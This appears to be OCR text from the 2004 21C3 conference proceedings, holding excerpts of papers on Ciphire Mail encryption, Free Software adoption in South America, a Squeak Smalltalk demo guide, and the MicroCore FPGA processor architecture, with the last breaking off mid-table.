Ciphire Mail client handles all this processing automatically.

Ciphire Labs Ciphire Mail 4
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Drawing 1: Flow of fingerprint data in the Ciphire System.

Secure Email Communication

When an email message is submitted by an MUA the redirector (mail connector
module) intercepts the communication and looks up certificates for all recipient email
addresses. If no certificate exists for a recipient, the client either sends the email
unencrypted, rejects the email, or asks the user what to do, depending on the user's
configuration.

If a certificate is available, the client automatically validates it by verifying the
certificates in-built security properties (e.g., self-signature and issuer signature) and
by verifying the certificate with the fingerprint system described above. When the
certificate is validated, the email is encrypted and sent.

Similar steps are followed when performing decryption, creation and verification of
digital signatures.

Ciphire Labs Ciphire Mail 5
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Requirements

Supported operating systems:

e Windows: XP and 2000

e Mac OS X: 10.3

e Linux: Kernel 2.4.0 or higher
Supported email applications:

o Email applications using standard SMTP for sending and POP3 or IMAP4 for
receiving email (including SSL/TLS variants and STARTTLS support)

e Outlook with Microsoft Exchange (supported in future versions)
e Lotus Notes (supported in future versions)

Cryptographic Specifications
Algorithms used in Ciphire-specific cryptographic functions:

e Asymmetric algorithms: RSA, ElIGamal, and DSA-2k (DSA-2k is a variation of the
standard DSA/DSS algorithm supporting 2048-bit keys)

o Key agreement algorithms: (not required)

e Symmetric algorithms: AES, Twofish, and Serpent

e Operation modes and authentication algorithms: CBC-HMAC, CCM, and CTR
e Hash algorithms: SHA4-256 and Whirlpools-512

e Pseudo-random number generation algorithms: Fortuna using Twofish in CTR
mode

e Supported signing modes: SHAs-256 with DSA-2k and Whirlpools-512 with RSA

Ciphire Labs Ciphire Mail 6
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Content: Free Software in South America

How an emerging industry chose to not follow the proprietary prophets
Paper for the corresponding 21C3 talk

Chaos Communication Congress - 27.-29.12.2004 - Berlin - Germany

1 Information Technology in South America

Despite carrying attributes like "3rd world countries”, "developing countries” and the
like, IT development runs at full speed in most countries in South America. Not much
is known about this situation though. Free Software is a not a recent phenomenon, so
how does this fit together?

1.1 History

Like in those countries considered the 1st world, Microsoft has and still does dominate
the software deployments at least at the client side.

Software was not available in localized versions for a long time. Many applications
were just translated to European Spanish and Portuguese, for example. Language
minority groups such as people speaking Tupi-Guarani still cannot rely on proprietary
software producers and expect localized versions. On the other hand, a lot of Free
Software localization projects have been founded, especially for desktop software.

Recent statistics revealed that internet usage in South America is surprisingly high
when compared to other regions.

In several countries, programs for social and digital inclusion have been started.

Strategic relationships among those countries are common, and guarantee a higher
independence of conventional software makers.

On the software patent issue, a clear concensus has been reached that the intro-
duction of said patents would harm the economy more than it would help it.
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2 Universities

21 UFPR

2.2 UNICAMP

2.3 FAPESP

There are a lot of projects going on; the following list is only a small window into the
activities. Universities such as the UFRJ, USP, UnB and those outside of Brazil all
have some relevance in these topics.

The Federal University of Parana (UFPR) operates a technology center (C3SL) that
has been using Free Software since 1992. The computer pools all run GNU/Linux
systems, the last Windows installation was abolished about five years ago. Not only
in usage, but also in development Free Software plays a major role. Ever since the
invention of the Multi-head setup (using four monitors at one PC), the projects have
become widely known. Currently, C3SL develops and operates software for CEX, a
successful chess portal, based on the old chessd project code.

For more than 7 years, the university which is located in Campinas/SP operates Dicas-
L, a Linux community, including Rau-Tu (online help system) and courses for begin-
ners. Also, an OpenOffice.org portal page was opened recently. UNICAMP is also a
sponsor of CédigoLivre.

The Brazilian Research Funding Organization in SP operates Incubadora, a GForge-
based project development site.

Free Software in South America 2
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3 The Governments

Most of the South American governments have some kind of migration plans or even
larger visions on their agendas. In particular, there has been a move by the Argen-
tinian and Brazilian governments to restrict the WIPO madness. But also the fights
between Microsoft and government officials like a congressman from Peru got a lot of
press coverage.

3.1 Brazilian Federal Government

Free Software was one of the major points on the list when the current president Lula
was elected. The Software Livre portal site contains two section, a GForge-based de-
velopment center and a wiki-based collaboration pages collection. It is operated under
the banner of the National Presidency. At CONISLI in S0 Paulo in 2004, the govern-
ment presented their migration guide, intended to be used by institutions throughout
the state and national levels. ITI, which is the IT and certification authority in the
country, and its president Sérgio Amadeu even faced court action from Microsoft,
when turning towards favouring Free Software. The company backed off - and the
national financing institute Caixa Federal started distributing about 60,000 copies of
their Kurumin variant.

3.2 Government of Venezuela

The National Assembly of Venezuela decided to exclusively use Free Software as the
base for their local, regional and national installations, in November 2004. The pre-
cursors were however already suggesting this move previously. In the general public,
many percieved this as yet another burdening tie to established industry nations which
was cut. More than 80 infocentros already run on Free Software previously.

3.3 Usage in Ministries

The Ministry of Health is running a website to promote and inform about its Free
Software-based solutions. The Ministry of Defense recently handed out new contract
requirements, stating among others that LPI certificates would be necessary for IT
services. The Ministry of Cities recently hired Debian and GNOME developer Gustavo
Noronha de Silva to guide its IT staff. The Ministry of Culture, headed by the (former
and still performing) artist Gilberto Gil, is currently organizing a game development
competition, with focus on the openness of the resulting games, of which a couple will
get support for commercial-scale production and deployment on the web or for cell
phones.

3.4 City Administration of Sao Paulo

The entire city portal appears different from others already on the first look. It’s got a
penguin in one corner, and a "copyleft” statement below all the content. The pages are

Free Software in South America 3
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hosted on a Zope platform. This is the outcome of introducing the digital goverment
(e-government) in the city.

3.5 Telecentros

Using low-cost, or even used, computers to facilitate internet access and technology
education for people on low income is a concept known to many countries. The sucess
story of the Telecentros as used in Brazil, Argentina, Peru and other countries however
has even led the most advanced countries behind in terms of public access to such
resources, under the guidance of trained people. In Sao Paulo alone, the milestone
of half a million people was reached in late 2004 - just a few weeks later, the mark
of 550,000 was surpassed, all using the specialized GNU/Linux distribution Sacix. A
group named Metareciclagem furthermore creates social projects to use computers
for artwork and the like.

Free Software in South America 4

Chaos Computer Club | www. cec.de/congress/2004 | 471



Josef Spillner <josef@coolprojects.org>

4 Companies

Companies usually do not care about the ideals behind Free Software - for them, soft-
ware is a tool which should just work, without any costs attached. Thus it doesn’t
yield any surprise to see that most success stories are actually just Linux migrations
done in cooperation with consulting companies, who will claim all the net win for them-
selves instead of distributing fair shares to the respective projects used to make said
migrations a success in the first place. But it's not always just like this.

4.1 \Varig

South America’s largest airplane companies uses Linux on their servers. Varig, while
consolidating their server infrastructure in 2001, switched to Linux to cut down costs.
Security infrastructure was hardened by Conectiva contractors.

4.2 Metro in Sao Paulo

One of the world’s youngest, and thus most modern, metropolitan systems is installed
in the city of Sdo Paulo. Linux and OpenOffice.org are used throughout the com-
pany. Contributions back to the community were done by maintaining the translation
of OpenOffice.org manuals, even before the source to StarOffice was set free.

4.3 Itaipu

The world’s largest hydro-power plant is installed at the border between Brazil and
Paraguay, and operated jointly by a company owned by both countries, named Itaipu
Binacional. The technical migration from special hardware components to digital con-
trol and measurement facilities goes hand in hand with replacing custom software,
often without sourcecode, by standard Free Software components. The IT support
branch, PTI (Technology Park of Itaipu), even developed a GNU/Linux distribution for
internal use, and regularly organizes an installfest in the city. The Latinoware confer-
ence drew hundreds of people, including many South American government officials,
to Itaipu in November 2004.

Free Software in South America 5
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5 Organizations

To spread the words, lots of grassroots organizations have been founded.

5.1 PSL Brazil and state organizations

5.2 MinasLivre

5.3 Abrasol

5.4 Projects

PSL is the organizer of the annual International Free Software Forum, which is at-
tended by thousands of visitors.

Dedicated sub-projects like PSL Women exist to gather interest groups and focus
their work on advancing the acceptance of Free Software and other values. Beside,
both the KDE Women and Debian Women projects were founded at or around FISL
in Porto Alegre.

In Minas Gerais, beside the PSL-MG group and lot of active students at universities
like the UFMG, including the first translation of Mozilla to Brazilian Portuguese, and the
people who organize the EMSL and FestSol, MinasLivre is an organization consisting
of many groups to promote the usage of Free Software in Minas Gerais, a state of
Brazil. The organization of a national convent is planned, too.

In the capital of Minas, Belo Horizonte, even a lot of desktops have already been
migrated to a home-brewn distribution dubbed Libertas Desktop, following a tradition
of using Linux since 1995 on the servers.

The Brazilian Free Software Association invented a logo which can be used to identify
projects or products entirely based on Free Sofware - not just referring to the source
code, but also manuals, contents and so on.

KDE, GNOME, Debian and other projects have a lot of active members in South Amer-
ican countries.
More projects are being hosted at CédigoLivre or similar project centers.
Media-wise, after the Linux Magazine issued by Conectiva went out of the kiosks,
the Linux Magazine Brazil was founded as a version of the international Linux Maga-
zine.

Free Software in South America 6
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6 Resources

6.1 General Information

http://www.solar.org.ar/

Free Software Association (Argentina)
http://wuw.softwarelivre.org/
Free Software News (Brazil)
http://www.apesol.org/

Free Software News (Peru)
http://www.softwarelibre.cl/
Linux and Free Software News (Chile)
http://www.linux.org.uy/
GNU/Linux site (Uruguay)
http://bachue.com/colibri/

Free Software Community (Colombia)

6.2 Government portals

http://www.softwarelibre.gov.ar/
National Free Software Projects (Argentina)
http://www.softwarelivre.gov.br/
Presidential Portal (Brazil)
http://www.softwarelivreparana.org.br/
State Portal (Parana, Brazil)

Free Software in South America
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Squeak@21c3

Marcus Denker
www.squeak-ev.de/

December 4, 2004

1 Introduction

This is not a real article. While putting together the demo image for for 21C3,
I decided to not write an article that is just to be read (mostly because these
are really boring to write...)

This text is just a short 'user manual’ for that thing (we call it Squeak Image)
that I will use for the demo at 21C3. So if you follow the instructions, you
will be able to go through the slides and play with everything yourself.

2 Installation

The first thing we need to do is, you guessed it correctly: Installing Squeak
on your system.

Squeak has been ported to everything, from handhelds to mainframes, or
even game systems like the PS2. Not all of the ports are kept alive for all
releases, but for a common system like Linux, MacOS, and that-which-shall-
not-be-named there should be no problem.

So go to squeak.org and download Squeak for your system and unpack. The
files we will need for running the demo are:

e SqueakV3.sources: The source code. All in one big lump.

e Squeak.exe / Squeak.app / squeak: This is the virtual machine.

that’s it. And the files from the 21¢2 demo:
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e 21c3.image: all the Objects that make our demo, dumped into a file

e 21c3.changes: additional source code

You can dowload these here: http://squeak-ev.de/21c3

Just put these files in a directory, and you are ready to start.

3 Start Up

Now we need to start Squeak. For that, just open the "image” file with the
help of the vm. For linux, that would be something like:

./squeak 21c3.image

MacOS/Win: drag-n-drop the image on the vm.

Now the Squeak virtual machine will start and load the image back into
memory. The image is really an image: It’s just a snapshot of the whole
memory that the vin had allocated. It will start up exactly the way it was
when I saved it.

So if I, e.g., have a editor open with the courser blinking at a certain spot,
bang: It’s blinking right there. And this is portable across all systems: I
saved on a mac, you load on Linux. Write once, run everywhere (but with
Squeak, this really works! Not write once, debug everywhere like with that
other system).

So, I saved the demo image in a way that you can start to look at the slides
right now: When the window opens, it’s around 1024x768 large, and shows
a friendly mouse in the middle.

4 Navigating the Slides

At the lower right corner you see a thing called ”Thread Navigator”. This
handy Object allows for easy navigation in the slides of the talk. Just click
on the arrow, and the next slide appears. The Tread Navigator object will
follow to the next slide. (It will really travel with you: It deletes itself from
the old slide and hops over. So make sure not to loose him).

Each slide is a Squeak Project. These projects are a bit like virtual desktops,
but they can be saved to disk or send over the net.

2
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You can make graphical links to projects, clicking on those will make the
linked project active. To go back were you came from, you need to click on
the background: A Menu appears, with items for going back and lots of other
entries, e.g. for opening tools.

5 Squeak - What’s that?

Good Question. And not simple to answer. With most other Open Source
projects that question is trivial: Mono, that’s a free version of .Net. Gimp is
a free Photoshop. But for Squeak, there is just nothing that is like it.

Squeak has features from a lot of different domains and well known programs.
e.g. it has lots of features for media authoring, it is a programming language,
it is a kid’s programming system, it’s (in a sense) it’s on Operating System,
it’s a development environment...

So let’s go to the slide ”What is Squeak”, (should be the fourth). There you’l
find links to projects for each of these aspects. Follow them, play around.
Keep in mind that these slides are all "living”. You may be used to the fact
that a slide is all pictures, but in Squeak, that’s not true.

The examples are all live. In the ”Development” project, the Class Browser
is showing the system that you are interacting with. Same with the ”Inspec-
tor”, the grey smaller window. It shows the inside of the Object that is the
background, and from that especially the list of all other graphical objects
that are in the slide.

So if you click on the background, the menu will appear and the Inspector
will be updated.

Play a bit, we will revisit some topics later.

6 Squeak - The History

The History of the Squeak Project is nothing but Amazing (with capital A!),
When I stumbled across Squeak, I knew nothing about the people involved,
and somehow I was expecting that it would be some student somewhere (or
something like that, like it was with Linux). But then I realised that those
guys were a bit older. And bolder:

I read on the Squeak.org website (it’s even there today):
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Our number one commitment is to an exquisite personal computing environ-
ment. Imagine a system as immediate and tactile as a sketch pad, in which
you can effortlessly mingle writing, drawing, painting, and all of the struc-
tured leverage of computer science. Moverover imagine that every aspect of
that system is described in itself and equally amenable to examination and
composition. Perhaps this system also extends out over the Internet, includ-
ing and leveraging off the work of others. You get the idea — it’s the Holy
Grail of computer science.

Who can write something like that? Seriously! Holy Grail. Sure
So let’s see....

The hero of our story is named Alan, the time is somewhere at the end of
the sixties. Great time for being a computer science researcher, as the US
military just pumped huge amounts of cash into basic computer research with
the ARPA program. Lots of cool stuff was invented in that time, e.g. packet
switching networks (ArpaNet), and Alan got to see some cool stuff: The first
prototype of a flat panel display, one of the first handwriting recognizers
and the drawing program SketchPad (according to some the most important
program ever written). Papert’s LOGO programing language for kids. And
Moores Law.

So, he got an idea. A crazy one: Why not build a computer that is small
enough to be carried around. It should have the size of a notebook, be around
2 pounds. It should have a graphical display, have enough memory to store a
couple of books (It even could have a harddisc. A small one). A true ”Personal
Computer”. Build for Kids. Codename: Dynabook.

Today, this sounds a bit obvious, but back then, it was completely crazy. The
best way to predict the future is to invent it.

But the technical aspect is not the only interesting one: The idea was to build
a computer for kids in the way that it would be a new kind of medium. For
fun and learning. Not a word-processor, but an idea processor.

So the goal was to make this crazy dream a reality. Moores law gave the
deadline: A sufficiently fast computer would fit, according to Moores law,
inside the required space in 1980. So Alan started to think about the Software,
at Xerox PARC.

The Operating System, GUI and development environment for the Dynabook
was called Smalltalk. It was the first fully Object Oriented System, and the
first GUI with real, overlapping windows. The famous story is that Steve
Jobs did get a demo of that system....
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And Squeak is that Smalltalk System from the seventies, dusted off. And
those strange Squeakers are the inventors of Smalltalk, Alan Kay of course,
and Dan Ingalls and Ted Kaehler, both from the original Xerox PARC team.

Squeak was started in 1996, while the Squeak Team was at Apple. They
moved on to Disney from there, and today, Alan is at HP Labs.

7 Squeak for Kids

So, now go forward some slides to the Squeak for Kids project.

There is a good tutorial on the Squeakland website about how to build a car
yourself:

http://squeakland.org/school/drive_a_car/html/Drivecar12.html

The Lunar Lander is an example of how far you can go with eToys: This was
not done by a child, but with some guidance older kids could build such a
game (and learn a lot).

There are a some other examples for eToy projects in the third (the right)
project.

8 Squeak for Professional Development

eToy is great for kids (and even for adults to learn programming). But the real
hacker needs something that is a bit different. Squeak is completely written
in itself, and for making that easy, it provides a object oriented programming
language and a development environment.

The IDE provides a class browser for easy coding and a really good debugger.
(with edit-and-continue, something that is starting to get a hot topic for both
Java and .Net).

Squeak is actually used both in research and in industry to do real stuff. This
is no toy! (Even if it looks like one).

9 The Language

The language of Squeak is really simple. But it’s a bit different then the other
ones you might know. The slide has all the syntax of the language. That’s

b}
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it. In the slide, you can execute and print a statement by selecting it and
pressing Alt-p or Apple-p on the Mac.

The basic idea is that everything is an object, and you can make object
do something by sending a message to them. What an object does when
receiving a message is described in a method. The method is defined in the
class of the object.

So if you write:
1 sin

then you have an object (the number 1) and you send a message (sin). The
object 1 is of class Smalllnteger, and in Smalllnteger there is a method sin.

A real smalltalk introduction is outside of the scope of this paper, see
http://www.iam.unibe.ch/"ducasse/FreeBooks.html

for some books.

And there is a good introduction slide-show in the current 3.7 or 3.8 Squeak
release images.

10 Seaside

Seaside is quite interesting. Avi Bryant was using Ruby for doing web de-
velopment. Then he met some Squeakers at OOPSLA (the OO Conference).
And so he jumped ship from Ruby to Squeak and invented Seaside.

Seaside is very interesting, as it solves the problems that any web developer
faces in novel ways. The target for Seaside are web applications, that is fairly
complicated interactive websites (e.g. the typical banking site), not static

pages.
Seaside allows the programmer to write the web application just the way she
would write a normal GUI application. Let’s see what Avi writes:

Seaside 1s a framework for developing sophisticated web applications in

Smalltalk.

Its most unique feature is its approach to session management: unlike servlet
models which require a separate handler for each page or request, Seaside
models an entire user session as a continuous piece of code, with natural,
linear control flow - pages can call and return to each other like subroutines,
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complex sequences of forms can be managed from a single method, objects are
passed by reference rather than marshalled into URLs or hidden fields - while
fully supporting the backtracking and parallelism inherent to the web browser.

Seaside also features a callback-based event model, a "transaction” system
for auto-expiring pages, strictly compliant XHTML generation, a system of
reusable and embeddable Ul components, and handy web-based development
tools.

The Squeak image that drives the slides has a complete seaside installation.
Yes, everything is there. Just point your browser to

http://localhost:9090/seaside/presentation

for a Seaside demo written in Seaside.

The Counter/MultiCounter are here:

http://localhost:9090/seaside/counter
http://localhost:9090/seaside/multi

And a small shop example:
http://localhost:9090/seaside/store

A short article about seaside: http://homepage .mac.com/svc/ADayAtTheBeach/
It ends with:

We ’discovered’ Seaside only recently. After just one day of experimenting
with it we were convinced about the dramatic improvement in abstraction
and productivity it offers. We were absolutely amazed at how easy it was
to do the examples described here: much, much easier than it would be in
any other framework that we know of. We believe Seaside could be a killer
application for (Squeak) Smalltalk.

Seaside is cool, yes. But we can do even better. Enter Croquet.

11 Open Croquet

So. Now to the really interesting "latest and greatest” in Squeak. As with
Squeak itself, we need a good quote from the developers. Or better two:
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WHAT IF...

...we were to create a new operating system and user interface knowing what
we know today, how far could we go? What kinds of decisions would we make
that we might have been unable to even consider 20 or 30 years ago, when
the current set of operating systems were first created?

...we could collaborate with one another in an online dimension to create or
simulate anything we wanted to?

...we had the robustness of a 3D immersive technology, the diversity of the
Internet, and the degree of social interaction we have in the real world?

The second quote:

Ezisting operating systems are like the castles that were owned by their re-
spective Lords in the Middle Ages. They were the centers of power, a way to
control the population and threaten the competition. Sometimes, a particular
Lord would become overpowering, and he would declare himself as King. This
was great for the King. And not too bad for the rest of the nobles, but in the
end — technology progressed and people started blowing holes in the sides of
the castles. The castles were eventually abandoned - David A. Smith

Croquet is work-in-progress. But there is a pre-release available for download.
If you have a fast computer with a good 3D graphics card, give it a try.

12 Links

http://squeak.org
http://squeakland.org
http://squeakersfilm.org
http://croquetproject.org
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MicroCore

a

scalable,
dual Stack,

Harvard Processor
for embedded Control
that fits into FPGAs easily

Klaus.Schleisiek AT hamburg.de

Using an FPGA based simple and extensible processor core as the foundation of a system eventually
frees the "core aided programmer" from the limitations of any static processor architecture, be it
CISC, RISC, WISC, FRISC or otherwise. No more programming around known hardware bugs. A
choice can be made as to whether a needed functionality should be implemented in hardware or
software; simply, the least complex, most energy efficient solution can be realised while working on
a specific application. Building on an FPGA, time critical and perhaps complex functions can be
realised in hardware in exactly the way needed by the application offloading the processor from sub-
optimal inner loops.

The FPGA approach also makes the user independent from product discontinuity problems that haunt
the hi-rel industry since the dawn of the silicon age. Finally: putting the core into FPGAs puts an end
to one of the high-level programming language paradigms, namely the aspect of (hoped-for)
portability. Once I can realise my own instruction set, I am no longer confronted with the need to
port the application to any different architecture and henceforth, the only reason to adhere to a
conventional programming style is the need to find maintenance programmers. Remains the need for
a vendor independent hardware description language to be portable w.r.t. any specific FPGA vendor
and family. To date, MicroCore has been realised in VHDL, using the MTI simulator and the
Synplify and Leonardo synthesisers targeting Xilinx and Altera FPGAs. For more and up-to-date
information, please refer to "www.microcore.org".

A novel feature of MicroCore are its two different inputs to react to external events:
Interrupt: An event did happen that was NOT expected by the software.
Exception: ~ An event did NOT happen that was expected by the software.

MicroCore is not confined to executing Forth programs but it is rooted in the Forth virtual machine.
MicroCore has been designed to support Forth as its "Assembler". Support for local variables
(relative return-stack addressing) is cheap and seems to be all that is needed to soup up MicroCore
for C. Instructions for interpreting token threaded code have been included to support Java.
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Design Philosophy

MicroCore's top priority is simplicity and understandability. MicroCore is rooted in the Forth
language but it is not confined to execute Forth programs — it is a pretty good general purpose
processor and indexed addressing into the return stack allows easy compilation of C programs that
execute efficiently.

Yet its design approach has been different from most other processor cores: Its assembler was first
and it realises about 25 Forth primitives. Whereas most other processors attempt to give you the
utmost in instruction diversity from a minimum of hardware, you will find some very specialised
instructions of high semantic content in MicroCore, because 30 years of Forth experience have
proven that these are useful primitives. Nevertheless, each instruction executes in one clock cycle.

MicroCore is not the only architecture that uses Forth as its assembler. I took Chuck Moores NC4000
as a model, enhanced it to become the FRP1600, which never made it beyond second silicon and its
vectored interrupt bug. A fresh approach was the realisation of the "Fieldbus Processor" IX1 that still
sells in industrial automation. It introduced the Harvard Architecture to Forth machines. MicroCore
utilises two inventions of the Transputer, namely: Concatenation of "nibbels" to form higher
precision literals followed by the instruction that consumes it, which is the enabling technology for
the scalable data path width without change to the object code. Secondly the EXCEPTION signal as
a hardware mechanism to deal with resource scheduling, which is the enabling technology for
efficient and easy to use multi-tasking.

MicroCore attempts to be an optimum in terms of hardware complexity versus instruction semantics.
There are other architectures that are simpler at the expense of instruction semantics. But then you
have to execute more of those simpler instructions to get a certain job done, which leads to higher
power consumption because, after all, fetching instructions from program memory tends to be the
major source of power consumption in microprocessor systems.

Due to Forth's extensibility - i.e. the openness of its unconventional compiler for user modifications
and extensions - the Forth standardisation process is a slow consensus building process in a large
community compared to the compiler writer specialists' circles of most other languages. Forth words
could be thought of as the micro cells of a software system that has been realised in order to solve a
specific problem. In much the same way as application specific instructions can be added to
MicroCore in VHDL to realise a more specific and complex piece of hardware. Simplicity is an
indication of proper factoring and understandability is the condition for wide acceptance. Proper
factoring is a matter of experience and a crave for aesthetic solutions. E.g. the "proper" building
blocks for a UART may be uart_clk, vart tx, and vart rx. Only time and experience can tell.

In releasing MicroCore to the public, I hope that it will become a catalyst to spawn additional
peripheral functions, or MicroCells, placed under the same license conditions. As the Original
Developer of MicroCore I reserve the right to certify conformance of Derived Work with the
Original Code. This is my only business interest in MicroCore besides using it myself in embedded
systems development. In that respect, the MicroCore licensing terms are similar to the freeBSD terms
and much more liberal than the ubiquitous GPL.

As long as I can not support MicroCore as a product I will not be offering a "Public" MicroCore
license. Instead, the "MicroCore Exploratory License" will allow individuals, universities, and
research institutes to gain experience with it. I will grant a "MicroCore Unilateral License" to any
company once the support situation has been clarified.
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3 Hardware Architecture

MicroCore is a dual-stack, Harvard architecture with three memory areas that can be accessed in
parallel: Data-stack (RAM), Data-memory and return-stack (RAM), and Program-memory (ROM).

The architecture diagram shows all busses that are needed. Each entity generates its own control
signals from the current instruction INST and the STATUS register.

All instructions without exception are 8-bits wide, and they are stored in the program-memory ROM.
Due to the way literal values can be concatenated from sequences of literal instructions, all data-
paths and memories are scalable to any word width without any change in the object code as long as
the magnitude of the numbers processed are representable. In essence, on a given object code the
processor performs arithmetic modulo the synthesised data path width.

The data paths are made up of the data-stack Dstack, the ALU and of the data-memory and return-
stack Rstack as well as of uBus, the register TOS (Top-Of-Stack), that are in between the data-stack
and the ALU. Using constants in the VHDL code that work as compiler switches, the minimal
MicroCore can be extended: Adding NOS (Next-Of-Stack) will allow a single cycle SWAP
instruction, adding TOR (Top-Of-Return-Stack) as well will enable a single cycle, nestable
decrement and branch instruction NEXT as well as complex math step instructions for multiply,
divide, etc. Adding the TASK register will support a multi-tasking OS with a base-index addressing
mode into a task control block. Adding indexed addressing into the return-stack will give single cycle
access to local variables. Adding the IP (Instruction-Pointer) register will allow efficient interpre-
tation of tag and token threaded code that is stored in the data memory.

The data-stack is realised by a dual-port RAM used as Stack under control of the Data-Stack-Pointer
DSP, and the topmost stack item is held in the TOS register. Typically the size of the Stack Memory
needed will be small enough to fit inside the FPGA. If NOS is instantiated as well, the data stack
only needs single-port RAM.

10 is data-memory mapped and the most significant address bit selects the external world when set.
In addition, program memory may be mapped into the lower part of the 10 address space for van
Neumann style read and write access. If the most significant address bit is not set data-memory and
return-stack RAM is selected. The return-stack occupies the upper end of Data Memory under
control of Return-Stack-Pointer RSP. Both Data and Program Memory may use internal FPGA
block-RAM as "caches" and therefore, small controller applications may run in an FPGA without any
external memory needs.

A number of Data Memory access instructions are available:

e Pre-incrementing absolute addressing off of an address in the TOS register with a three bit signed
pre-increment in the instruction,

e Indexed addressing relative to the Return Stack Pointer for stack frame access,
e Indexed addressing relative to the TASK register.

After each memory access, the absolute memory address that had been accessed will remain in TOS.
Data transfer takes place between the second data stack element and memory/IO.

The Sequencer generates the Program Memory address for the next instruction, which can have a
number of sources:

e The Program Counter PC for a sequential instruction,
e the ALU for a relative branch or call,

e the TOS register for an absolute branch or call,
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the Return Stack (Data Memory) for a return instruction,
e the INSTruction register for an immediate call (soft instruction),
e the fixed Interrupt Service Routine address ISR as part of an interrupt acknowledge cycle, or

e the fixed Exception Service Routine address ESR for the EXCEPTION signal or the PAUSE
instruction,

e the fixed Overflow Service Routine address OSR for a conditional overflow service routine.

The STATUS register has been shown as a separate entity. In the code however, it is composed of
status bits generated from several sources and therefore, it is spread across the entire design as record
stBus.

The Interrupt Processing unit takes care of synchronising and masking a scalable number of static
external interrupt sources.

Both, instruction decoding and status register bit processing has been decentralised because it makes
the code easier to understand, maintain, modify, and extend.

4 Instruction Architecture

An instruction is always 8 bits wide. Scalability is achieved on the object code level because all
literal values are composed of literal instructions that can be concatenated. Refer to [3 instruction
structures] for a discussion of the literal representation used, which is characterised by its "prefix"
nature called "Vertical instruction set with literal prefixes" in the paper. To my knowledge, this type
of code has been invented by David May for the Transputer.

It has two advantages and one drawback compared to other instruction set structures:

Each instruction is "self contained" and therefore, this type of code can be interrupted between
any two instructions, simplifying interrupt hardware and minimising interrupt latency to the max.

Long literals can be composed of a sequence of literal instructions that are concatenated in the

TOS register. Therefore, this type of instruction architecture is independent of the data-word
width.

Prefix code has the highest instruction fetch rate compared to the two other instruction types
discussed in the paper. Therefore, it is not really the technology of choice for demanding real-time
applications. A way out would be to fetch several instructions per memory access but that
introduces unpleasant complexity for branch destinations.

Keeping in mind that MicroCore is about putting a very simple and small processor core into FPGAs
for simple, embedded control, the latter drawback is tolerable because the instruction fetch delay,

even using external ROM, will hardly dominate total processor delay because all processor logic will
be contained in an FPGA and therefore, it will be substantially slower than an ASIC implementation

anyway.
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The instruction

7 6 5 4 3 2 1 0
$80 $40 $20 $10 $8 $4 $2 $1
Lit/Op Type Stack Group

4.1 Lit/Op Bit

1: 7-bit Literal (signed)

0: 7-bit Opcode

The Lit/Op field is a semantic switch:

When set, the remaining 7 bits are interpreted as a literal nibble and transferred to the Top-of-Stack
(TOS) register. When the previous instruction had been an opcode, the literal nibble is sign-
extended and pushed on the stack. If its predecessor was a literal nibble as well, the 7 bits are
shifted into TOS from the right. Therefore, the number of literal nibbles needed to represent a
number depends on its absolute magnitude.

When not set, the remaining 7 bits are interpreted as an opcode. Opcodes are composed of three sub-
fields whose semantics are almost orthogonal: Type, Stack, and Group. Not all possible bit combi-
nations of these fields have a meaningful semantic easing instruction decoding complexity.

4.2 Type field

Code | Name |Action
00 |BRA |Branches, Calls and Returns
01 |ALU |Binary and Unary Operators
10 |MEM |Data-Memory and Register access
11  |USR |User instructions / immediate calls

BRAnches are conditioned on the group field and they consume the content of TOS, using either
TOS or TOS+PC as destination address. Although elegant, the fact that each branch has to pop the
stack to get rid of the destination address makes the implementation of Forth's IF, WHILE, and
UNTIL cumbersome. Therefore, the DROP_FLAG instruction has been implemented to get rid of
the flag prior to executing the branch. Calls push the content of the PC on the return-stack while
branching. Returns pop the return-stack using it as the address of the next instruction.

ALU instructions use the stack as source and destination for arithmetic operations. Unary operations
only use TOS, binary operations use TOS and Next-of-Stack (NOS) storing the result in TOS.
Complex math step instructions use TOS, NOS and TOR.

MEMory instructions refer to the data memory when the most significant bit of TOS, which holds the
address, is not set. When set, it refers to input/output operations with the external world. The
return-stack occupies the upper end of data-memory and the Program Memory may be accessed at
the I/O space if van Neumann addressing has been implemented. Eight internal registers can be
accessed directly using the Group field.

32 USeR instructions are free for any application specific functions, which are needed to achieve
total system throughput. The first four USeR instructions coincide with MicroCore's hardware
vectors RESET, ISR (InterruptServiceRoutine), ESR (ExceptionServiceRoutine), and OSR
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(OverflowServiceRoutine). As a default, the remaining 28 instructions perform a call to 28 trap
vector addresses that have room for a sequence of instructions to be used to e.g. emulate multi-
cycle instructions.

4.3 Stack field

Code | Name | Action
00 |NONE | Type dependent
01 |POP Stack->NOS->TOS
10 |[PUSH |TOS->NOS->Stack
11 |BOTH | Type dependent

POP pops and PUSH pushes the data stack. The stack semantics of the remaining states NONE and
BOTH depend on type and on external signals INTERRUPT and EXCEPTION. This is where the
opcode fields are non-orthogonal creating instruction decoding complexity, which is gracefully
hidden by the synthesiser.

4.4 Group field

Instructions that are not available in the minimal implementation are set in italics.

Code | Binary-Ops | Unary-Ops | Complex-Math | Conditions Branches Registers

ALU ALU BOTH | ALU NONE BRA BRA PUSH MEM

000 |ADD NOT MULTS NEVER DUP STATUS

001 |ADC SL 0DIVS ALWAYS |EXC TOR

010 |SUB ASR UDIVS ZERO QDUP RSTACK

011 |SSUB LSR not used NZERO QOVL LOCAL

100 |AND ROR LDIVS SIGN INT RSP

101 [OR ROL not used NSIGN IRET DSP

110 [XOR ZEQU not used NOVL THREAD TASK

111 [NOS CC SWAPS NCARRY |TOKEN [P

The semantics of the group field depend on the type field and in the case of ALU and BRA also on
the stack field.

Of the binary operators NOS is used to realise OVER and NIP.

Unary operations are detailed below.

Of the conditions, NEVER is used to realise NOP, DUP and DROP. NZERO supports the use of the
Top-Of-Return-stack as a loop index. PAUSE and INT are conditions to aid in processing external
events INTERRUPT and EXCEPTION.

Of the registers, TOR is used to implement R@, whereas RSTACK implements >R and R>.
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5 Instruction Semantics
In the following tables the LIT-field is marked with - and +.

This indicates the following two cases:
‘-’: The previous instruction has also been an opcode; TOS holds the top-of-stack value.
‘+’: The previous instruction(s) have been literals; TOS holds a "fresh" literal value.

5.1 BRA instructions

LIT | Stack | act |Operation Forth operators / phrases
* | none | none |conditional return from subroutine EXIT NOP
When Cond=ZERO or NZERO PEXIT
Stack -> NOS -> TOS O0=EXIT
- | pop conditional branch to Program[TOS] absolute_ BRANCH
Stack -=> NOS -> TOS
+ | pop conditional branch to Program[PC+TOS] relative BRANCH
Stack -> NOS ->TOS
* | push Complex branches, see below DUP ?DUP
INTERRUPT
IRET
EXCEPTION
?0OVL
- | both | pop |conditional call to Program[TOS] absolute CALL
push | Stack -> NOS -> TOS DROP
